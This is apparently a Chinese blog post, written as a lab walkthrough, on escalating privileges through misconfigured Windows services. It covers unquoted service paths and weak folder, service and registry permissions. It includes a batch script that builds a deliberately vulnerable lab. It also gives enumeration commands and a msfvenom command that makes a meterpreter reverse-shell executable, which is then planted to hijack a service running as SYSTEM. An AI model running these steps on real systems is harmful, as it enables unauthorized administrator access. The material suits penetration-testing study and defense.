windows配置错误导致的提权

  1. 前言
  2. 配置环境
  3. 常见的四种错误
  4. 不带引号的服务路径
  5. 弱文件夹权限
  6. 弱服务权限
  7. 注册表权限不足
  8. 补充
  9. 总结

前言

由于管理员或用户对某些服务或权限设置错误,导致提权

配置环境

参考文章:https://amonsec.net/2018/09/23/Common-Windows-Misconfiguration-Services.html

首先先搭建对应的环境:

windows 10

将以下保存为bat并以管理员权限执行

echo [*] Create user lowuser
net user lowuser lowuser1234 /add
echo [*] Create directories for the binaryPath of our services
mkdir "C:\WeakServices\Weak Service 1"
mkdir "C:\WeakServices\WeakService2"
mkdir "C:\WeakServices\WeakService3"
mkdir "C:\WeakServices\WeakService4"
echo [*] Use a default binary
copy C:\Windows\System32\snmptrap.exe "C:\WeakServices\Weak Service 1\service1.exe"
copy C:\Windows\System32\snmptrap.exe "C:\WeakServices\WeakService2\service2.exe"
copy C:\Windows\System32\snmptrap.exe "C:\WeakServices\WeakService3\service3.exe"
copy C:\Windows\System32\snmptrap.exe "C:\WeakServices\WeakService4\service4.exe"
echo [*] settings 权
icacls "C:\WeakServices\Weak Service 1" /deny lowuser:M
icacls "C:\WeakServices\WeakService3" /deny lowuser:M
icacls "C:\WeakServices\WeakService4" /deny lowuser:M
echo [*] 四服务
sc create WeakService1 displayName= "Unquoted Service Path" binPath= "C:\WeakServices\Weak Service 1\service1.exe" start= auto
sc create WeakService2 displayName= "Weak Folder Permissions" binPath= "C:\WeakServices\WeakService2\service2.exe" start= auto
sc create WeakService3 displayName= "Weak Service Permissions" binPath= "C:\WeakServices\WeakService3\service3.exe" obj= .\lowuser password= lowuser1234 start= auto
sc create WeakService4 displayName= "Weak Registry Permissions" binPath= "C:\WeakServices\WeakService4\service4.exe" start= demand
echo [*] Modifying WeakService3's permissions
sc sdset WeakService3 "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;DCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

创建完成后会有一个lowsuer用户,以及对应的服务

配置环境

创建完成

配置完成

常见的四种错误

  • 不带引号的服务路径
  • 弱文件夹权限
  • 弱服务权限
  • 注册表权限不足

利用的要求是:服务是系统启动时自启动的,服务的权限为高权用户

推荐利用手法:生成一个执行创建Administrator用户的exe,推测应该执行服务就断了所以反弹meterpreter那些不可取,下面会说到

不带引号的服务路径

执行wmic命令来过滤出不带引号的服务路径

wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """

不带引号的服务路径

使用sc查看对应的服务

PS:AUTO_START是系统启动将自启动该服务的意思

sc qc [servicename]

服务路径

查看BINARY_PATH_NAME第一个父文件夹的权限

icacls [path]

文件夹权限

可以从图中得到如下信息:

所有者:NT AUTHORITY\SYSTEM
可操作的用户组:NT AUTHORITY\Authenticated Users (所有用户的意思)

根据文章中说的带引号的文件寻找方法和不带引号的文件寻找方法:

image

然后使用msfvenom创建一个exe,改名为Weak.exe放入C:WeakServices\Weak.exe

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxx LPORT=xxx -f exe > Weak.exe

这里可能就有人问了,如果文件名没空格呢?比如C:lbw\Fuckyou\nm.exe那么就在lbw文件夹下创建

一个名为Fuckyou.exe,然后把Fuckyou文件夹给改名

由于低权用户无法重启服务,但是可以通过重启系统来让服务重新执行。重启之后将执行C:WeakServices\Weak.exe,为什么呢?因为在寻找二进制过程中,当发现由exe结尾的就会认为是对应服务的二进制文件,导致滥用

重启windows

重启

在登录界面短暂的获取到meterpreter,我不清楚这里是windows10的问题还是什么原因,过了一段时间就会掉了

反弹meterpreter

不知道什么原因?

不知道什么原å›

这是GIF示例

GIF

system权限图

image

弱文件夹权限

这里用WeaKService2做示例

image

第一步寻找允许任意用户修改的服务,并且权限是高权用户所执行的(补充有说明)

image

得到所有用户都可以访问的结果后,生成一个exe将其改名为服务启动的exe替换。并长重启系统,这里用calc做例子

image

或者你直接把存放服务指定二进制的文件夹给改名了,自己在创建服务指定的二进制文件的文件夹。这里就是新建一个WeakServices2文件夹

image

重启GIF

GIF

弱服务权限

用WeakService3来做示例(1566806147207

这里要用到一个工具来查看服务的权限,accesschk,下载地址:accesschk

执行accesschk -cv [service name]

image

允许Everyone设置服务任何操作,那么通过修改服务的BINARY_PATH_NAME,并重启该服务即可提升权限。这里将BINARY_PATH_NAME设置为如下路径

image

动态GIF

GIF

注册表权限不足

错误配置的服务注册表项,注册表路径HKLM\SYSTEM\CurrentControlSet\Services\<service_name>

存放着对应的服务设置

image

使用accesschk检查注册表的权限

执行accesschk -kvw [regedit path]

image

我这里查询不到,但是文章是可以查的到的。不过没关系,直接手动打开注册表对服务的ImagePath进行修改,如果修改成功的话就代表有权限。否则就没有

修改前:

image

(好吧,不是accesschk 的错,的确没有权限,那么这里就不弄了。可以自己看参考文章)

image

补充

寻找弱文件夹权限和弱服务权限使用到的操作是使用:accesschk64.exe -cv *

获取所有服务,然后搜索关键字:RW Everyone,挑选高权的服务

image

总结

当exp提权不下的时候,可以尝试寻找这些错误的配置。来提升自己的权限


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:windows配置错误导致的提权

本文作者:九世

发布时间:2019-08-26, 14:36:36

最后更新:2019-08-26, 16:50:15

原始链接:http://422926799.github.io/posts/34b370c6.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录